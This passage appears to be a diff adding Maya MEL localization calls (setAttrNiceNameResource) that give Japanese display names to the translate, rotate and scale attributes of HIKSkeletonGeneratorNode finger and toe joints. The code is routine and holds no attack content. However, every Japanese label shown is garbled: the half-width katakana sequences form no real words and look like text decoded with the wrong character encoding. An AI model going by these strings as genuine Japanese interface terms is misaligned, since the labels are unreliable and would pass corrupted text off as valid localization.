"モメハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Ty", "モメハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Tz", "モメハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2R", "モメハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Rx", "モメハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Ry", "モメハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Rz", "モメハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2S", "モメハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sx", "モメハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sy", "モメハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sz", "モメハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3T", "モメハヨボテヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Tx", "モメハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Ty", "モメハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Tz", "モメハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3R", "モメハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Rx", "モメハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Ry", "モメハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Rz", "モメハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3S", "モメハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sx", "モメハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sy", "モメハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sz", "モメハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4T", "モメハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Tx", "モメハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Ty", "モメハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Tz", "モメハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4R", "モメハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Rx", "モメハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Ry", "モメハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Rz", "モメハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4S", "モメハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sx", "モメハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sy", "モメハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sz", "モメハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1T", "モメハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Tx", "モメハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Ty", "モメハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Tz", "モメハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1R", "モメハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Rx", "モメハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Ry", "モメハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Rz", "モメハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1S", "モメハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sx", "モメハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sy", "モメハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sz", "モメハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2T", "モメハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Tx", "モメハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Ty", "モメハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Tz", "モメハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2R", "モメハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Rx", "モメハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Ry", "モメハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Rz", "モメハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2S", "モメハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sx", "モメハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sy", "モメハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sz", "モメハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3T", "モメハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Tx", "モメハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Ty", "モメハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Tz", "モメハヨミ。ヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3R", "モメハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Rx", "モメハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Ry", "モメハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Rz", "モメハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3S", "モメハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sx", "モメハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sy", "モメハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sz", "モメハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4T", "モメハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Tx", "モメハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Ty", "モメハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Tz", "モメハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4R", "モメハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Rx", "モメハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Ry", "モメハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Rz", "モメハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4S", "モメハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sx", "モメハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sy", "モメハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sz", "モメハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1T", "モメハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Tx", "モメハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Ty", "モメハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Tz", "モメハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1R", "モメハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Rx", "モメハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Ry", "モメハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Rz", "モメハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1S", "モメハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sx", "モメハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sy", "モメハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sz", "モメハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2T", "モメハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Tx", "モメハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Ty", "モメハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Tz", "モメハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2R", "モメハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Rx", "モメハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Ry", "モメハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Rz", "モメハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2S", "モメハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sx", "モメハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sy", "モメハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sz", "モメハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3T", "モメハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Tx", "モメハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Ty", "モメハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Tz", "モメハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3R", "モメハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Rx", "モメハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Ry", "モメハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Rz", "モメハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3S", "モメハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sx", "モメハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sy", "モメハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sz", "モメハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4T", "モメハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Tx", "モメハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Ty", "モメハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Tz", "モメハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4R", "モメハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Rx", "モメハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Ry", "モメハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Rz", "モメハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4S", "モメハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sx", "モメハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sy", "モメハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sz", "モメハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1T", "ラスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Tx", "ラスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Ty", "ラスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Tz", "ラスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1R", "ラスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Rx", "ラスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Ry", "ラスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Rz", "ラスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1S", "ラスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sx", "ラスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sy", "ラスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb1Sz", "ラスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2T", "ラスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Tx", "ラスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Ty", "ラスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Tz", "ラスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2R", "ラスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Rx", "ラスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Ry", "ラスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Rz", "ラスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2S", "ラスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sx", "ラスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sy", "ラスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb2Sz", "ラスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3T", "ラスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Tx", "ラスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Ty", "ラスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Tz", "ラスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3R", "ラスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Rx", "ラスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Ry", "ラスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Rz", "ラスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3S", "ラスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sx", "ラスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sy", "ラスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb3Sz", "ラスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4T", "ラスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Tx", "ラスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Ty", "ラスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Tz", "ラスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4R", "ラスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Rx", "ラスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Ry", "ラスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Rz", "ラスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4S", "ラスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sx", "ラスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sy", "ラスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootThumb4Sz", "ラスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1T", "ラスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Tx", "ラスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Ty", "ラスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Tz", "ラスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1R", "ラスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Rx", "ラスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Ry", "ラスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Rz", "ラスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1S", "ラスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sx", "ラスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sy", "ラスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex1Sz", "ラスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2T", "ラスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Tx", "ラスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Ty", "ラスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Tz", "ラスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2R", "ラスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Rx", "ラスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Ry", "ラスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Rz", "ラスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2S", "ラスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sx", "ラスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sy", "ラスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex2Sz", "ラスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3T", "ラスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Tx", "ラスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Ty", "ラスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Tz", "ラスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3R", "ラスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Rx", "ラスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Ry", "ラスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Rz", "ラスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3S", "ラスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sx", "ラスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sy", "ラスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex3Sz", "ラスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4T", "ラスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Tx", "ラスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Ty", "ラスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Tz", "ラスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4R", "ラスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Rx", "ラスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Ry", "ラスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Rz", "ラスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4S", "ラスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sx", "ラスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sy", "ラスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootIndex4Sz", "ラスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootMiddle1T", "ラスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( 